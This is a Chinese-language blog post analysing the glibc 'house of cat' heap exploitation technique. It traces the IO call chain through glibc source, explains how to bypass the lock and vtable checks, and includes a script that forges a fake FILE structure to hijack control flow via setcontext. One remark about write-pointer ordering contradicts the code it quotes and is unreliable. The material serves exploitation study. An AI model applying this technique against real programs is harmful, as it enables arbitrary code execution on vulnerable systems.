回炉重修之house of cat 带源码调试寻io
sn0w 发表于 广东 二进制安全 833浏览 · 2024-06-21 01:19

适用版本:

2.23-2.25

使用条件

--能任意写一个可控地址(如largebin attack)

--能泄露 libc 地址和 heap 地址

--能触发 IO 流(三种方式)

​ 1.调用exit或从main退出

​ 2. puts、printf函数调用

​ 3. _malloc_assert

源码分析:

关键点:

两条io链条:

1.malloc_assert -> fxprintf -> vfxprintf->locked_vfxprintf -> vfprintf_internal -> IO->vtable->_IO_file_xsputn-->IO_wfile_seekoff

2.IO_wfile_seekoff -> _IO_switch_to_wget_mode->IO_WOVERFLOW

攻击脚本如下:

fake_io的伪造

fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0)  #_markers
fake_struct += p64(0)  #_chain
fake_struct += p64(0)  #_fileno
fake_struct += p64(0)  #_old_offset
fake_struct += p64(0)  #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps + 0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40) #rax2 -> to make [rax+0x18] = setcontext + 61

接下来通过源码调试加io链条的路线去解析这个脚本的由来,以及整个路线的分析

注意事项!!!

写调试脚本的时候p stderr的值不是我们要的 我们要找的是存放它的值然后修改是p &stderr,这里卡了我挺久的........我是说怎么调试不对

第一条链

__malloc_assert的触发

该函数的内容

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

这是__malloc_assert的内容,会执行入fxprintf 然后进入abort

该函数被调用的条件

_int_malloc---->sysmalloc---->__malloc_assert

也就是说能走到sysmalloc就可以执行__malloc_assert

是通过_int_malloc的部分进行的sysmalloc的调用,和调用有关的源码如下

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {
    // 当可用内存块大小大于等于请求大小和最小块大小之和时
    remainder_size = size - nb; // 计算剩余大小
    remainder = chunk_at_offset(victim, nb); // 获取剩余块
    av->top = remainder; // 更新top块
    set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // 设置请求块头
    set_head(remainder, remainder_size | PREV_INUSE); // 设置剩余块头

    check_malloced_chunk(av, victim, nb); // 检查分配的块
    void *p = chunk2mem(victim); // 获取用户指针
    alloc_perturb(p, bytes); // 调用perturb函数
    return p; // 返回用户指针
} 
else if (atomic_load_relaxed(&av->have_fastchunks)) {
    // 如果有快速释放的块存在
    malloc_consolidate(av); // 合并小块减少碎片
    if (in_smallbin_range(nb)) // 恢复原始bin索引
        idx = smallbin_index(nb);
    else
        idx = largebin_index(nb);
} 
else {
    void *p = sysmalloc(nb, av); // 调用系统内存分配
    if (p != NULL)
        alloc_perturb(p, bytes); // 调用perturb函数
    return p; // 返回用户指针
}

// 结束函数

要到最后一个else才可以执行

1.可用内存块大小大于小于请求大小和最小块大小之和时,也就是top chunk无法满足的时候可以触发

sysmalloc关于__malloc_assert的调用代码:

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

在C语言中,assert 是一个宏,用于帮助在开发和调试过程中验证程序的假设。但当这些假设不成立时,assert 会引发程序崩溃或终止

assert 条件为假时,assert 宏会打印错误信息并调用 abort 函数终止程序。

检测条件

  1. old_size >= 0x20;
  2. old_top.prev_inuse = 0;
  3. old_top页对齐

fxprintf -> vfxprintf

这里可以没有遇到困难可以直接到

int __vfxprintf (FILE *fp, const char *fmt, va_list ap,
         unsigned int mode_flags)
{
  if (fp == NULL)
    fp = stderr;
  _IO_flockfile (fp);
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
  _IO_funlockfile (fp);
  return res;
}

第一个阻碍点

接着往下面走

在这里卡住了我们看一下源码

_IO_flockfile的源码

# define _IO_flockfile(_fp) \
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)

_IO_lock_lock的源码

#define _IO_lock_lock(_name) \
  do {                                \
    void *__self = THREAD_SELF;                      \
    if ((_name).owner != __self)                      \
      {                               \
    lll_lock ((_name).lock, LLL_PRIVATE);                 \
        (_name).owner = __self;                      \
      }                               \
    ++(_name).cnt;                          \
  } while (0)

可以看到进了之后就是一个无限循环,死锁。所以我们要绕过这个,通过上面的代码可以得到条件

1.fp-->flag要是一个可读取的地址

然后就可以绕过这个检测

locked_vfxprintf -> vfprintf_internal直接可以进

第二个障碍点

然后接着往下面走发现进不了vtable,通过源码调试发现

不能进入_IO_vtable_check 进入就代表没过检测,这里检测vtable的位置于是出现了第二个障碍点

1.通过修改fake_io的结构来给虚表的位置赋值为_IO_file_xsputn+0x10



第二条链也是house of cat的关键

第三个障碍

1.这个地方需要fp-->wide_data要有值

2.这个值指向的两个位置一个是IO_write_ptr一个是IO_write_base,前者要比后者小才对**,不然就无法使was_writting为true

bool was_writing = ((fp->_wide_data->_IO_write_ptr
              > fp->_wide_data->_IO_write_base)
             || _IO_in_put_mode (fp));

然后就进入_IO_switch_to_wget_mode

劫持rip流

通过rax-->[rax+0xe0]--> 到call [rax+0xe0]+0x18 来劫持rip

还可以劫持rdx

0x7ffff7e07cbf <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]     RDX, [0x5555555592b0] => 2

成功劫持,至此house of cat的过程结束

0 条评论
某人
表情
可输入 255